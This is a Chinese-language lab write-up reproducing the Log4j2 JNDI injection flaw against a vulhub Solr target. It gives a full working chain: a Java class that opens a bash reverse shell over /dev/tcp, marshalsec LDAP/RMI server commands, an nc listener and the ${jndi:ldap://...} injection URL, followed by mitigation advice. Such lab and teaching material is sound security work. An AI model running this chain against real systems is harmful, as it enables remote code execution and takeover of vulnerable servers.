什么是log4j2
Apache log4j2 是java应用常见的开源日志库,是一个就java的日志记录工具,用来记录日志信息的
漏洞原理
lookup查询服务提供了对{ }字段的解析功能,该模块在输出日志时允许攻击者通过相应的协议去请求远程主机上的资源,而在处理数据时并没有对用户输入的信息进行判断,攻击者可以利用这一点进行JNDI注入,使受害者请求远程服务来链接本地对象,从而调用JNDI服务(LDAP/RMI)获取恶意的.class文件,造成远程代码执行
PS:JNDI 全称java命名和目录接口,允许从指定的远程服务器获取并加载对象
影响到的组件
Apache Struts2
Apache Solr
Apache Druid
Apache Flink
spring-boot-strater-log4j2
漏洞复现
启动环境
进入vulhub靶场并启动环境
cd vulhub-master/log4j/CVE-2021-44228/
docker compose up -d
启动环境时,发现出现下面报出,说明要使用root权限启动,
所以要su到root下执行
环境拉取成功
使用浏览器进行访问,端口为8983
检测漏洞
拼接路径进行访问检测漏洞是否存在,这里配合DNS回显检测
编写恶意类
编写一个名为Exploit.java的文件
代码中我们希望将shell反弹到192.168.0.154主机的5555端口
public class Exploit {
public Exploit(){
try{
String[] commands = {"bash","-c","exec 5<>/dev/tcp/192.168.0.154/5555;cat <&5 | while read line; do $line 2>&5 >&5;done"};
Process pc = Runtime.getRuntime().exec(commands);
pc.waitFor();
} catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv) {
Exploit e = new Exploit();
}
}
保存后,将其编译为 .class 文件
javac Exploit.java
若出现下面情况,证明此时靶机还没有安装java
使用下面命令安装java
yum install -y java-1.8.0-openjdk-devel.x86_64
安装好后再进行编译,发现编译成功
在 Exploit.class文件所在目录开启web服务
python3 -m http.server
如果没有安装python3 使用以下命令进行安装
yum install -y python3
开启JNDI服务
另开一个窗口开JNDI服务
使用marshalsec项目,启动服务 项目下载地址:https://github.com/mbechler/marshalsec
LDAP服务启动
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.0.154:8000/#Exploit" 1389
RMI服务启动
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.0.154:8000/#Exploit" 8888
ps:以上两种服务选择启动哪个服务都行,注意要更改ip中的内容为启动的web服务地址
监听反弹
监听之前Exploit.java里面写的反弹shell的端口5555(再重新开启一个窗口)
nc -lvnp 5555
开始攻击
在注入点进行JNDI注入
http://192.168.0.154:8983/solr/admin/cores?action=${jndi:ldap://192.168.0.154:1389/Exploit}
修复建议
1、升级Apache Log4j2所有相关应⽤到最新的log4j-2.15.0-rc2版本
2.升级已知受影响的应⽤及组件,如srping-boot-strater-log4j2/Apache Solr/Apache F link/Apache Druid
3.jvm参数-Dlog4j2.formatMsgNoLookups:=true
4.log4j2.formatMsgNoLookups=True
5.系统环境变量FORMAT MESSAGES PATTERN DISABLE LOOKUPS设置为true
6.禁⽌使⽤引og4j的服务器外连出⽹
7.使⽤⾼版本jdk (如 jdk11.0.1、8u191、7u201、6u211或更⾼版本) , 因为⾼版本jdk默认⽆法利⽤jndi注⼊